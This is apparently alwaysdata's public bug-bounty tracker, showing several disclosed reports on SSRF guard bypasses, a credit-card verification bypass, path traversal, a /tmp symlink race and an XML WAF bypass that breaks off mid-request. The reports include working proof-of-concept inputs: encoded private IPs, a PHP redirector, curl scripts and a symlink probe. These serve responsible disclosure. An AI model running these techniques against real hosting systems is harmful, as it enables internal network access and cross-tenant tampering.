Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary Status Date closed
 463  Transitive Bypass of Credit Card Verification via Neste ...Closed26.08.2026 Task Description

1. Summary
Alwaysdata requires users to link a credit card during standard public registration (/register/). This check prevents automated free-tier abuse and disposable botnet setup.

An inconsistent check exists in the profile invitation feature (/permissions/add/):

An existing account owner (User A) invites an email address (User B) with zero permissions.
User B confirms the email link, sets a password, and enters basic profile information (address and phone number) without any credit card or OTP verification.
User B opens admin.alwaysdata.com and creates an independent free hosting account (1GB disk, 256MB RAM, 0.25 CPU, dedicated SSH, public IP, HTTP server) directly from the panel without ever being asked for a credit card.
This behavior is transitive. User B can then invite User C, who completes the same onboarding flow (password, address, phone) and creates another free hosting account without linking a payment card.
This chain allows someone with a single verified account to create unlimited independent free hosting accounts without linking a payment card to the new accounts.

2. Technical Details
The Logic Gap
Alwaysdata separates user identities (Profiles) from compute containers (Accounts).

Public registration flow: A visitor fills out the registration form, links a credit card, and the system provisions an account.
Invitation flow: When a user registers through an invite link, the onboarding form asks for a password, name, address, and phone number, but completely skips the credit card step. Once logged in, the admin panel allows the user to provision a new free hosting account without checking for a payment card on file.
Public Registration:
User → Public Form → Credit Card Check → Free Account Created

Invitation Chain:
User A (Verified)

  1. > Invites User B (0 perms)
    1. > User B confirms email, sets password, enters address and phone (No card check)
    2. > User B opens panel and creates Free Account (e.g., ssh-zerr9)
    3. > User B invites User C
      1. > User C confirms email, sets password, enters address and phone (No card check)
      2. > User C opens panel and creates Free Account

3. Impact
Unbounded Free Hosting Creation: A user can create multiple independent hosting accounts with active SSH, custom domains, web services, and database instances without linking a credit card to each account.
Missing Payment Accountability: Downstream accounts created through the invitation chain have no financial record on file. If these accounts run abusive scripts or phishing pages, Alwaysdata cannot trace them back to a payment method.
4. Steps to Reproduce
Log in to https://admin.alwaysdata.com/ using an existing account (User A).
Go to https://admin.alwaysdata.com/permissions/add/.
Enter a new email address (User B), uncheck all permission boxes, and submit the form.
Open the confirmation link sent to User B. Set a password and fill in the address and phone number fields. Notice that the registration finishes without asking for a credit card or SMS OTP.
Log in to https://admin.alwaysdata.com/ as User B.
From the dashboard, click to create a new account, select the Free plan (1GB disk, 256MB RAM), and confirm.
Confirm that the account provisions immediately with full SSH and web access (e.g., ssh-zerr9.alwaysdata.net).
While logged in as User B, go to /permissions/add/ and invite User C.
Have User C confirm their email, complete the password and address setup, log in, and create another free account. The account provisions without asking for a credit card.
5. Suggested Remediation
Check Payment Details on Account Creation: Require a linked credit card on the account creation action itself (/account/add/), not just on the public registration form.
Restrict Invited Profiles: Require invited collaborator profiles to add and verify a payment method before they can spin up standalone hosting accounts.
Limit Invitation Permissions: Only allow profiles with verified payment details to send out new user invitations.

 462  SSRF guard does not cover your own infrastructure, whic ...Closed26.08.2026 Task Description

Summary

The address guard added after  FS#401  decides on private versus public address ranges. It refuses RFC1918, loopback, link-local and ULA. Your own internal hosts are not in any of those ranges: they sit in your global allocation 2a00:b6e0::/32, which the guard treats as ordinary public space and allows. From inside, www, admin, api and webmail.alwaysdata.com all resolve to 2a00:b6e0:1:84:1::1, which is overlord-core.paris1.alwaysdata.com, and none of those names publish an AAAA record publicly. So the guard leaves the hosts it most needs to protect in its permitted class, and no parser trick is required to reach them. This is a different root cause from  FS#461 , which is about how IPv4 literals are parsed rather than which ranges the guard treats as safe.

Vulnerable asset

https://admin.alwaysdata.com/site/application/script/<id>/, field script_upstream_uri, fetched by POST …/update_script/.

The fetching host answers from 2a00:b6e0:1:84:1::1 and identifies itself as python-requests/2.32.5.

Root cause

The guard implements a deny list of private ranges rather than an allow list of destinations the fetcher is permitted to reach. That model only works when everything sensitive is inside those private ranges. On your platform it is the other way round: tenant services are given ULA addresses, which the guard blocks, while your own management hosts use globally-routable addresses, which it allows. The guard therefore protects tenant-to-tenant traffic and leaves your own infrastructure exposed to it.

Attack path

Everything below was measured from a script object on my own account and from my own shell on ssh2. I did not connect to any of your internal services.

First, the guard does block ULA, and I proved that with a service of my own rather than by inference. I ran python3 -m http.server 8199 on my account, which binds to my tenant address fd00::7:89a5, serving a file containing a marker. Note that ip -6 addr does not list that address, only the node's 2a00:b6e0:1:50:1::1, so the bound address has to be read from ss -lnt. From my own shell the URL works:

$ curl http://[fd00::7:89a5]:8199/marker.txt
SSRF-RANGE-PROOF-2a00b6e0

Submitting that same URL as script_upstream_uri returns in 0.632702s, repeated at 0.590323s, and leaves the installation script field at its baseline, so nothing was fetched.

That the fetcher can actually route to that address is not something you have to take from me: it is in  FS#460 , which you fixed and paid. That report records direct http://[fd00::7:89a5]:8080/ 0.601s refused by guard alongside redirect → http://[fd00::7:89a5]:8080/ 20.381s connection attempted, timed out. Same address, same fetcher. So a sub-second answer with an empty field is the guard refusing, not the network failing.

Second, the guard allows global IPv6, and there the fetch really happens. Pointing the field at example.com's AAAA record returned the origin's response body, which was stored in the installation script field where I read it back:

script_upstream_uri = http://[2606:4700:10::6814:179a]/     0.595333s

What landed in the installation script field was the origin's own error page: "400 Bad Request" as both the title and the heading, ending with a footer line reading "cloudflare". I have written its text out rather than pasting the markup, since raw tags do not survive this tracker's formatting. The point is not the page itself but that a body came back from a global IPv6 address and was stored where I can read it.

Third, your own hosts are in that allowed class. From my shell on ssh2:

$ for h in www admin api webmail security; do getent hosts $h.alwaysdata.com; done
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com www.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com admin.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com api.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com webmail.alwaysdata.com
2a00:b6e0:1:210:1::1 security.alwaysdata.com

From the public internet the same names resolve to 185.31.40.5 and publish no AAAA at all, so those v6 addresses are an internal view rather than something the public is directed to.

Putting the three together: an address in 2a00:b6e0::/32 is accepted by the guard, an address the fetcher can reach is fetched and its body is handed back to me, and your own management hosts live in 2a00:b6e0::/32.

Impact

Any HTTP service on your internal hosts is reachable from this fetcher and its response body is readable by the customer who submitted the URL, with no notation trick as in  FS#461  and no redirect as in  FS#460 . The guard does not stand between a customer and your infrastructure, only between a customer and other tenants.

This matters more than a single bypass because the guard is currently the whole protection on this feature. The  FS#460  fix removed redirect following, so there is no second control behind it.

Your own tracker sets the context for what class of host is in that permitted range:  FS#415  describes overlord-core as the core management server for the platform. That is the same host this fetcher runs on and the same host the internal names above resolve to.

I stopped at demonstrating the address class. Following the SSRF guidance in your rules I did not connect to any internal service, so I cannot tell you what is listening there or what could be retrieved. I am happy to demonstrate that on request or in a development environment.

Suggested fix

Reverse the model. Rather than denying a list of private ranges, deny everything and allow only what the feature legitimately needs, which for an installation script source is public HTTP outside your own networks. At a minimum, add your own allocations, including 2a00:b6e0::/32 and any other prefix your infrastructure uses, to the refused set alongside the private ranges, and apply the check to the resolved address rather than to the submitted string.

It is also worth deciding whether this fetcher needs to run on the management host at all. Moving it to an egress-restricted worker would make the guard a second line of defence rather than the only one.

Testing notes

All testing used a script object on my own account, which has been deleted, and a listener I ran on my own hosting account, which has been stopped and removed. Manual requests only, no automated scanner. I did not connect to any of your internal services: the only destinations fetched were example.com over IPv6 and my own hosting account. The DNS observations come from ordinary getent lookups on my own shell.

 461  Incomplete fix for FS#401: SSRF guard does not normalis ...Closed26.08.2026 Task Description

Summary

The address guard on the installation script source URI refuses a private destination only when the address is written as a dotted quad. Written as a decimal, octal or hexadecimal integer, the same address passes the guard and the backend opens the connection. The response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive  FS#401  was fixed for. This is a different path from  FS#460 : no redirect is involved, the encoded address is the URL submitted in the form.

Vulnerable asset

https://admin.alwaysdata.com/site/application/script/<id>/, field script_upstream_uri.

The fetch is triggered by POST https://admin.alwaysdata.com/site/application/script/<id>/update_script/.

The fetching host identified itself as 2a00:b6e0:1:84:1::1 running python-requests/2.32.5.

Root cause

The guard classifies the host portion of the submitted URL by its textual form. The HTTP client that later opens the connection parses the same host with inet_aton semantics, which accept decimal, octal, hexadecimal and mixed notations for an IPv4 address. The two therefore disagree about which host the URL points to: the guard sees a string it does not recognise as private, and the client resolves it to exactly the private address the guard was meant to block.

The gap is specific to IPv4 literals. I checked the neighbouring cases and they are handled correctly, which is why I am confident this is a parsing gap rather than a missing range: loopback, all three RFC1918 blocks and link-local are refused as dotted quads, and IPv6 is refused in compressed and fully expanded form alike, so the IPv6 path is normalised before the check while the IPv4 path is not. I did not have access to the source, so the mechanism is inferred from behaviour.

Attack path

I used 10.255.255.1:8080 as the destination for the bypass. It is unroutable, so a refusal by the guard returns in well under a second while a real connection attempt shows up as a TCP timeout of roughly 20 seconds. Set script_upstream_uri on a script object you own, then POST to update_script/ and measure.

The guard works for every canonical form:

http://127.0.0.1/                            0.583544s
http://192.168.0.1:8080/                     0.632095s
http://172.16.0.1:8080/                      0.581063s
http://169.254.169.254/                      0.593031s
http://[::1]/                                0.634583s
http://[fd00:dead:beef:0:0:0:0:1]:8080/      0.676233s
http://10.255.255.1:8080/                    0.586345s

The same address in any other IPv4 notation is not refused, and the request blocks for the full TCP timeout:

decimal        http://184549121:8080/         20.532416s
octal dotted   http://012.0377.0377.01:8080/  20.556865s
hex dotted     http://0xa.0xff.0xff.0x1:8080/ 20.006989s
hex flat       http://0x0AFFFF01:8080/        20.100729s

I measured the decimal case six times across separate runs and it blocked every time, between 20.05s and 20.65s, against 0.586s to 0.647s for the dotted quad in the same runs. Note the port: the connection attempts are to 8080, so the reachable set is not limited to 80 and 443.

To rule out the alternative explanation that these strings are treated as hostnames whose DNS lookup simply times out, I pointed the same notations at my own public address 185.31.41.11. Every one was parsed as IPv4 and actually fetched, and your front end's response body was stored in the installation script field:

http://bores.alwaysdata.net/gc.sh  0.620634s  stored: echo GUARD-CONTROL-OK
http://185.31.41.11/gc.sh          0.585734s  stored: Request ID: 6cd9bd2c-b1a04128
http://3105827083/gc.sh            0.590465s  stored: Request ID: d6a47ad3-269af3c0
http://0271.037.051.013/gc.sh      0.596060s  stored: Request ID: b25f13a3-7f8cfd88
http://0xb9.0x1f.0x29.0xb/gc.sh    0.589441s  stored: Request ID: 61ec6cce-f060c454
http://0xB91F290B/gc.sh            0.658276s  stored: Request ID: 04bc1339-ad0006fb

The first line is a hostname control on a file I placed on my own site, and it came back with the file contents verbatim, which shows the read-back primitive is intact. The rest are the same file requested through the raw address in each notation; they land on your front end rather than my vhost, so the stored body is your "Site not found" page, each with its own request id.

Only http and https are accepted. The form rejects file://, gopher://, dict:// and ftp:// before any fetch, so there is no protocol smuggling here.

Impact

An authenticated customer can make an alwaysdata backend host open TCP connections to any IPv4 address and port the guard is meant to forbid, and read the full response body back out of the installation script field.

The obvious objection is the one you used to close  FS#343 , that customers have unrestricted SSH anyway and the job runner executes in the same context and permissions as the SSH server. I tested that objection rather than assuming it does not apply, by running the same destinations from my own shell account on ssh2 and through the fetcher:

destination          from my shell (ssh2)                 through the fetcher
10.0.0.1:8080        Errno 113 No route to host, 0.00s    20.384915s
192.168.0.1:8080     timed out, 8.00s                     20.082109s
172.16.0.1:8080      timed out, 8.01s                     20.093270s

The shell side of that table is reproducible in one command on any hosting account:

python3 -c "import socket,time
s=socket.socket(); s.settimeout(8); t=time.time()
try: s.connect(('10.0.0.1',8080)); print('open')
except Exception as e: print(type(e).__name__, e, round(time.time()-t,2))"

The first row is the important one. My shell has no route to 10.0.0.0/8 at all, so the kernel rejects it immediately, while the fetcher accepts the same destination for routing and sits there until the connection times out. Whatever the fetcher is attached to, it is not the network position my SSH session has. So this is not the situation you assessed in  FS#343 : the bypass grants reach that the customer does not already have.

The states are also distinguishable from the outside, which makes this usable for mapping rather than only for blind requests. A destination that answers HTTP returns its body into a field I read, measured against my own host. A refused port returns in about 0.6 seconds, measured against port 9 on my own address, which my shell confirms is refused. A filtered or unrouted destination takes about 20 seconds.

On what is actually behind the guard, I stopped deliberately. Following your SSRF guidance I made exactly one request to an internal destination, http://2130706433/, the fetcher's own loopback on port 80. It was refused in 0.605334 seconds and nothing was returned or stored. I did not try another port or address, so I cannot tell you what is reachable there. I am happy to demonstrate that on request or in a development environment.

Suggested fix

Resolve the host to an address before the policy decision and apply the policy to the resolved address rather than to the submitted string. Parsing the host with ipaddress.ip_address() after normalising through socket.getaddrinfo() covers the decimal, octal, hexadecimal and mixed notations in one step, because the check then runs on the same value the HTTP client will connect to. Rejecting host forms that are not a plain dotted quad, a bracketed IPv6 literal, or a DNS name would close the gap as well, and is easier to test.

Either way it is worth adding regression cases for the four notations above. The IPv6 path already behaves correctly, so the fix only needs to bring IPv4 up to the same standard.

Testing notes

All testing was done against a script object on my own account, which has been deleted. Manual requests only, no automated scanner, a handful of requests spaced by seconds. The destination used for the bypass proof is unroutable RFC1918 space and the destination used for the parsing proof is my own public address. The single internal request is the one described under Impact.

 460  Incomplete fix for FS#401: SSRF address guard is not re ...Closed25.08.2026 Task Description

Summary

The installation script source URI feature still performs server-side fetches of user-supplied URLs. The address guard added after  FS#401  works correctly on the URL submitted in the form: it resolves hostnames and refuses private destinations before opening any connection. It is not re-applied when the fetcher follows an HTTP redirect. A URL that passes the check and then answers with a 302 sends the backend to any destination the attacker chooses, including RFC1918 space and the fetching host's own loopback. The full response body of a successful fetch is stored verbatim in the installation script field and read straight back by the submitting user, which is the read-back primitive  FS#401  was fixed for.

Vulnerable asset

https://admin.alwaysdata.com/site/application/script/add/ and https://admin.alwaysdata.com/site/application/script/<id>/, field script_upstream_uri.

The fetch is triggered by POST https://admin.alwaysdata.com/site/application/script/<id>/update_script/.

The fetching host identified itself as 2a00:b6e0:1:84:1::1 running python-requests/2.32.5.

Root cause

The guard is bound to the submitted input rather than to the connections the HTTP client actually makes. It runs once, resolves the hostname, and rejects private addresses, which is why a direct submission fails in well under a second with no connection attempt. The client is then handed the URL with its default redirect behaviour, and the Location value of a 301 or 302 never passes back through the same check before the next connection is opened.

Steps to reproduce

Everything below uses curl and a shell. Account used: boresbbt2, a free-tier account I own. Redirecting host: bores.alwaysdata.net, a site I own. No alwaysdata internal service was contacted.

Step 1. On a host you control, publish a page that redirects to an unroutable private address. 10.255.255.1 is used because a real connection attempt to it can only end in a timeout, which makes the result unambiguous.

<?php header("Location: http://10.255.255.1:8080/", true, 302); exit;

Step 2. Log in to admin.alwaysdata.com and save the session cookies.

JAR=/tmp/ad.txt
CSRF=$(curl -s -c $JAR https://admin.alwaysdata.com/login/ \
  | grep -oE 'name="csrfmiddlewaretoken" value="[^"]+' | head -1 | sed 's/.*value="//')
curl -s -b $JAR -c $JAR -X POST https://admin.alwaysdata.com/login/ \
  -H "Referer: https://admin.alwaysdata.com/login/" \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" \
  --data-urlencode "login=YOUR_EMAIL" \
  --data-urlencode "password=YOUR_PASSWORD" -o /dev/null

Step 3. Create an application script. The installation script must start with a shebang followed by commented YAML, otherwise the form rejects it.

BODY=$'#!/bin/bash\n# site:\n#   type: custom\necho installed'
ADD=https://admin.alwaysdata.com/site/application/script/add/
CSRF=$(curl -s -b $JAR -c $JAR $ADD \
  | grep -oE "csrfmiddlewaretoken\" value=\"[^\"]+" | tail -1 | sed 's/.*value="//')
curl -s -b $JAR -c $JAR -X POST $ADD -H "Referer: $ADD" \
  --data-urlencode "csrfmiddlewaretoken=$CSRF" \
  --data-urlencode "name=poc" --data-urlencode "url=https://example.org/" \
  --data-urlencode "author_name=poc" --data-urlencode "author_uri=https://example.org/" \
  --data-urlencode "script=$BODY" -o /dev/null

Note the id of the created script from https://admin.alwaysdata.com/site/application/script/ and use it as ID below.

Step 4. Set script_upstream_uri to the private address directly, trigger the fetch, and time it. The guard refuses it and the call returns immediately.

BASE=https://admin.alwaysdata.com/site/application/script/$ID/
csrf() { curl -s -b $JAR -c $JAR $BASE \
  | grep -oE "csrfmiddlewaretoken\" value=\"[^\"]+" | tail -1 | sed 's/.*value="//'; }
 
curl -s -b $JAR -c $JAR -X POST $BASE -H "Referer: $BASE" \
  --data-urlencode "csrfmiddlewaretoken=$(csrf)" \
  --data-urlencode "name=poc" --data-urlencode "url=https://example.org/" \
  --data-urlencode "author_name=poc" --data-urlencode "author_uri=https://example.org/" \
  --data-urlencode "script=$BODY" \
  --data-urlencode "script_upstream_uri=http://10.255.255.1:8080/" -o /dev/null
 
curl -s -b $JAR -c $JAR -X POST ${BASE}update_script/ -H "Referer: $BASE" \
  --data-urlencode "csrfmiddlewaretoken=$(csrf)" -o /dev/null -w 'total=%{time_total}s\n'

Step 5. Repeat exactly the same two calls, changing only script_upstream_uri to the redirector from step 1. The guard passes it, the fetcher follows the 302, and the connection to 10.255.255.1 is really attempted, so the call now blocks until the TCP timeout.

  --data-urlencode "script_upstream_uri=https://YOUR-HOST/r_priv.php"

Step 6. Compare the two timings. Five independent runs on 2026-08-25, the last of which was a clean run following these steps from a fresh login and a new script object:

direct    http://10.255.255.1:8080/          0.635s  0.591s  0.591s  0.584s  0.589s
redirect  -> http://10.255.255.1:8080/      20.340s 20.447s 20.397s 20.108s 20.631s

The direct case is refused by the guard with no connection attempt. The redirect case blocks until the TCP timeout, which is only possible if the connection to 10.255.255.1 was really opened.

Additional observations

The same split holds for other private ranges, and the loopback of the fetching host answers, an immediate RST rather than a timeout:

direct    http://[fd00::7:89a5]:8080/         0.601s   refused by guard
redirect  -> http://[fd00::7:89a5]:8080/     20.381s   connection attempted, timed out
redirect  -> http://127.0.0.1:1/              0.668s   immediate RST, loopback reached and answered

Redirect chains are followed at depth, so the stored value has no relation to where the request ends up. A three hop chain of ordinary looking pages on my own site, the last of which points at 10.255.255.1:8080, still reaches the private address and blocks for 20.035s. In the two hop case the content of the final target was fetched and stored while the saved script_upstream_uri was only https://bores.alwaysdata.net/hok.php. Anything that inspects the stored URI, whether that is triage, logging or an allowlist of trusted sources, therefore sees a harmless public URL while the fetch goes somewhere else entirely, and the attacker can retarget at any time without touching the record.

The guard does handle DNS: http://10.255.255.1.nip.io:8080/, a public name that resolves to 10.255.255.1, is refused in 1.485s, the extra time being the lookup before the rejection. So the weakness is specifically the redirect hop, not name resolution.

My own web access log shows the fetch is server-side and that the backend follows the redirect itself:

2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] "GET /redir.php HTTP/2.0" 302 0 "-" "python-requests/2.32.5"
2a00:b6e0:1:84:1::1 - - [25/Aug/2026:03:58:36 +0200] "GET /bbt.sh HTTP/2.0"    200 72 "-" "python-requests/2.32.5"

Both lines carry the same timestamp: one operation, two hops.

The response body is returned to the attacker unmodified and unbounded. Pointing the redirect at a page serving plain HTML rather than a script stored that HTML verbatim in the installation script textarea, and a redirect to a 1,040,057 byte file stored 1,040,058 bytes with the end marker intact, so there is no content-type check and no size limit on what comes back.

Expected behaviour

A destination that is refused when submitted directly should also be refused when it is reached through a redirect. The check should follow the connection, not the input string.

Impact

An authenticated free-tier user can make an alwaysdata backend issue arbitrary HTTP requests into private address space and the fetching host's own loopback, and read the entire response back out of the installation script field, at any size. That is the capability  FS#401  was rated Critical and paid for, reachable again through a single redirect that costs the attacker one line of PHP on any host they control.

Because chains are followed and the stored URI stays innocuous, the record left behind on the account shows a normal public URL, so this is not visible by looking at what users saved in the field.

Reachability sets the ceiling on what I proved. I stopped at showing that connections to private destinations are attempted, that the loopback of the fetching host answers, and that arbitrary response bodies come back in full. I did not enumerate internal services or retrieve any internal content, because the programme rules say not to go playing around on internal networks and to report a potential SSRF as soon as it is believed to exist.

Two related things do hold and are worth recording: the guard resolves hostnames, so DNS rebinding through a public name is not available, and file:// is refused both when submitted directly and when reached through a redirect, so this is not a local file read.

Suggested fix

Apply the address check to every connection the client makes, not only to the submitted string. With requests that means either setting allow_redirects=False on this fetch and rejecting any 3xx outright, or walking the redirect chain manually and running the existing guard against each Location before it is followed. Validating the resolved address at connect time, for example through a custom transport adapter, covers both the redirect hop and any future path that reaches the same client. A regression test that submits a URL redirecting to 127.0.0.1 and to an RFC1918 address and asserts the fetch is refused would catch this class directly.

Classification

CWE-918 Server-Side Request Forgery, reached through CWE-441 Unintended Proxy or Intermediary. Incomplete fix for  FS#401 .

Testing scope

Testing used only accounts I own, bores and boresbbt2, with my own site as the redirecting host. No automated scanner was used and the request rate was low and manual. No internal service was enumerated and no third-party data was accessed. All test artefacts were removed afterwards: the application script objects were deleted and the redirect and marker files were removed from the site root.

 456  Working Directory Path Traversal Allows Directory Enume ...Closed24.08.2026 Task Description
Path Traversal in Working Directory Allows Directory Enumeration
Summary

I discovered a path traversal vulnerability in the Working Directory field of the alwaysdata Service command feature.

The Service feature allows users to specify a Working Directory from which their configured command is executed. However, the Working Directory is not properly restricted to the user's authorized directory.

By using ../ path traversal sequences, an authenticated user can escape the intended Working Directory boundary and point the service to another directory.

The service then executes commands from the resulting directory. Using the standard Linux ls command, the service logs disclose the names of files and directories contained within the target directory.

Additionally, when a non-existent directory is specified, the service returns an error indicating that the directory does not exist. This provides a directory-existence oracle, allowing an attacker to determine whether specific directories exist.

PoC Account

The user account used for the proof of concept was:

mexmos

This account belongs to me and is not associated with another alwaysdata customer. All testing was performed using my own account and controlled test data.

Steps to Reproduce

1. Log in to an alwaysdata account.
2. Go to Services and click Add service.
3. In the Command field, enter:

ls

4. In the Working Directory field, enter:

../mexmos/www

5. Submit the service configuration.
6. Go back to Services and open the newly created service.
7. Open the service Logs.
8. The output of the ls command is displayed in the logs, revealing the names of files and directories inside the specified www directory.

Example Output

STDOUT: index.html

Additional files and directories present in the directory are also returned.

Directory Enumeration

The issue also allows determining whether a specific directory exists.

Existing Directory

../mexmos/www/existing-directory

The service successfully starts and ls returns its contents.

Non-existent Directory

../mexmos/www/non-existent-directory

The service returns an error indicating that the directory does not exist.

This creates an existence oracle that allows an attacker to distinguish between existing and non-existing directories.

Therefore, the vulnerability provides:

Path Traversal → Directory Existence Disclosure → Directory/File Name Enumeration

Security Impact

An authenticated alwaysdata user who has access to the Service command feature can bypass the intended Working Directory restriction and enumerate filesystem entries outside their intended directory.

The attacker can:

* Determine whether specific directories exist.
* Enumerate directory contents using ls.
* Obtain filenames and directory names.
* Map the structure of accessible directories under the target www directory.

In a shared-hosting environment, this can disclose the filesystem structure of other hosted directories.

For example, the www directory of a hosted website may contain filenames revealing:

* Application structure
* Backup files
* Configuration-related filenames
* Internal directories
* Application resources

The vulnerability therefore results in unauthorized directory and file-name enumeration across the intended Working Directory boundary.

The proof of concept is limited to filename/directory-name enumeration. I did not access or extract file contents from other customers.

Expected Behavior

The Working Directory should be restricted to the directories authorized for the service.

Traversal sequences such as ../ should not allow the resulting canonical path to escape the authorized directory.

For example, if a service is restricted to:

/home/mexmos/

a Working Directory containing:

../other-user/www

should not be accepted.

Suggested Remediation

The application should:

* Canonicalize/resolve the supplied Working Directory.
* Resolve all .. components before authorization.
* Verify that the resulting canonical path is within the directory authorized for the service.
* Reject the request if the canonical path escapes the authorized directory.

The security check should be performed against the resolved path rather than the raw user-supplied string.

Vulnerability Classification

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Additional impact:

Directory Enumeration / File and Directory Name Disclosure

Severity

I recommend evaluating this as a Medium-severity access-control/path-traversal issue, depending on the intended filesystem isolation boundary of the Service feature.

The demonstrated impact is directory existence disclosure and filename/directory enumeration.

This report does not claim arbitrary file-content disclosure, arbitrary file modification, or root privileges.

Testing Scope

Testing was performed using my own account, mexmos, and controlled test data.

The mexmos account belongs to me and is not associated with another alwaysdata customer.

No sensitive customer file contents were accessed, retained, or exfiltrated.

 455  Cross-Tenant Write Primitive via World-Writable Shared  ...Closed19.08.2026 Task Description

Target: alwaysdata shared web node `http22` (185.31.41.42)

Severity: Medium

Class: CWE-377 Insecure Temporary File / CWE-59 Improper Link Resolution (symlink race)

Status: Verified — re-verified live 2026-08-18, zero false positives

## Important Clarification Before Reading:

alwaysdata's bug bounty policy explicitly acknowledges that `/tmp` is a shared directory. This report is not about the known read-side exposure of `/tmp` (already tracked internally as  FS#363 /389/393/417/418). This report documents a new and distinct primitive: a confirmed cross-tenant write capability via symlink planting in the shared scratch space — something that goes beyond the known read exposure and has not been previously reported or acknowledged.

## Summary:

On the shared web node `http22`, the scratch directories `/tmp`, `/var/tmp`, and `/dev/shm` are world-writable (mode `1777`) and shared across all tenants on the node. From any tenant's PHP using only the standard library, it is possible to:

- create new files at predictable paths in the shared scratch space
- pre-plant symlinks at predictable names that point to arbitrary files
- write through a symlink to its target file

The sticky bit (`1` in `1777`) correctly prevents modification or deletion of files already owned by other tenants. The attack surface is therefore the classic CWE-377 symlink race: pre-plant a symlink at a predictable path that a victim tenant's application will later attempt to create — causing the victim app to either fail, follow the attacker's symlink and write sensitive content to an attacker-chosen target, or read attacker-controlled content.

This write primitive is the new finding. The read side was already known and reported upstream.

## Reproduction Steps:

Upload the following self-contained PHP probe to any site on node `http22` and fetch it over HTTP. Uses only the PHP standard library — no extensions or special configuration required.

### Probe Code (PHP):

```php
<?php
$base = "/tmp/wafverify_" . getmypid();
1. create a new file anywhere in /tmp
@file_put_contents($base . ".txt", "cross-tenant-write-proof-" . date("c"));
2. create a symlink
@symlink($base . ".txt", $base . ".lnk");
3. write THROUGH the symlink (writes to the target file)
@file_put_contents($base . ".lnk", "overwritten-via-symlink");
4. show directory modes
printf("perms: /tmp=%o /var/tmp=%o /dev/shm=%o\n",

     fileperms("/tmp"), fileperms("/var/tmp"), fileperms("/dev/shm"));

?>
```

### Exact Output (2026-08-18, tenant PHP on http22):
```
create /tmp file: OK size=50
create symlink: OK target=/tmp/wafverify_979432.txt
write-through-symlink: OK bytes=23 real=overwritten-via-symlink
perms: /tmp=1777 /var/tmp=1777 /dev/shm=1777
```

## Additional Confirmed Observations:

Sticky-bit protection intact. Attempting to unlink, rename, or write to another tenant's existing `/tmp` files is correctly blocked — owner-only enforcement verified. The primitive is therefore pre-planting at not-yet-existing predictable names, not modifying existing victim files.

Read side (already known). Other tenants' files in `/tmp` are world-readable. During discovery, co-tenant files were observed that contained credentials and session data. Contents were not saved, not used, and have been fully redacted from all evidence. This is noted only to confirm the shared scratch exposure is bidirectional — read and write — not merely one-sided. The read class is already tracked upstream ( FS#363 /389/393/417/418).

PHP sessions not affected. `session.save_path` is already per-tenant (`/home/<acct>/admin/tmp`), so session files cannot be hijacked via this vector.

MySQL `FILE` privilege — negative. No `FILE` privilege granted; `secure_file_priv=/tmp/`; `LOAD_FILE()` returns empty. Cross-tenant database file read via this path is not possible.

`/proc` — negative. `hidepid` is set; only the tenant's own processes are visible.

## Impact:

A malicious tenant on the same node can pre-plant files or symlinks at predictable paths in the shared scratch space before a victim tenant's application creates them. If a victim application writes sensitive content (credentials, tokens, session data, temporary uploads) to a predictable `/tmp` path, the attacker can redirect that write to an arbitrary target via a pre-planted symlink — or poison the path with attacker-controlled content before the victim reads it.

Classic targets for this class of attack: cron jobs, backup scripts, cache writers, upload handlers, and any application component that creates temporary files at predictable names on a node shared with untrusted tenants.

Combined with the already-known world-readable state of `/tmp`, a malicious co-tenant can both read shared scratch state and actively influence it — making the exposure bidirectional and significantly more serious than the read-only class previously acknowledged.

## Ethical Disclosure:

All testing was performed exclusively against files created under our own test account and our own naming prefix (`wafverify_*`). No other tenant's existing file was written to, modified, unlinked, or renamed — sticky-bit protection was verified intact throughout. Co-tenant files encountered in `/tmp` during discovery were read only to confirm the shared nature of the directory; their contents (credentials, cookies, application data) were immediately discarded, not stored, not used in any way, and fully redacted from all evidence files submitted with this report.

## Recommendations:

- Mount `/tmp`, `/var/tmp`, and `/dev/shm` as per-tenant private tmpfs volumes, consistent with the per-tenant isolation already applied to `/home` and PHP session paths.
- Alternatively, set `TMPDIR`, `TMP`, `TEMP`, and `upload_tmp_dir` per-tenant to a path within the tenant's own `/home` tree, preventing any cross-tenant path collision.
- For any platform service that must share a scratch directory, enforce `O_TMPFILE` / `mkstemp` with `fchmod 0600` at creation time and never follow pre-existing symlinks on temp paths.

## Relationship to Other Findings:

This finding chains with FINDING-5 (cross-tenant loopback service exposure on the same node `http22`). Together they confirm that the tenant isolation boundary on shared web nodes has multiple independent gaps — network-level (FINDING-5) and filesystem-level (this report) — compounding the overall risk to co-tenants on the same node.

## Evidence Files:

File Contents
`verify_all_output.txt` Live re-verification output (write, symlink creation, write-through, directory permissions)
`CHAIN.md FINDING-3` Detailed write-up including all negative results
 454  Per-Site WAF Partial Bypass: application/xml Bodies Onl ...Closed19.08.2026 Task Description

Target: alwaysdata.com per-site WAF (alproxy/nginx front), site 1068896 (`regtest846.alwaysdata.net`, `waf_profile = full`)

Severity: Medium

Class: CWE-693 Protection Mechanism Failure / incomplete WAF coverage

Status: Verified — re-verified live 2026-08-18, zero false positives

## Summary:

Unlike `application/json` (FINDING-1, fully skipped), the WAF does inspect `application/xml` bodies for classic SQL injection literals — but fails to block XML-shaped attack payloads. XML External Entity (XXE) declarations and embedded `<script>` XSS content pass through with HTTP 200, while a plain SQLi string in the same content type is correctly blocked with HTTP 403. The inspection is inconsistent and leaves the most dangerous XML-specific attack class entirely undetected.

## Reproduction Steps:

Same setup as FINDING-1: PHP site on alwaysdata, `waf_profile = full`, `vuln.php` victim app in the site webroot.

## PoC — Exact Requests and Responses (Live Re-verification 2026-08-18, WAF=full):

### 1) XXE Declaration — passes as `application/xml` (HTTP 200)

```
POST /vuln.php HTTP/1.1
Host: regtest846.alwaysdata.net
Content-Type: application/xml

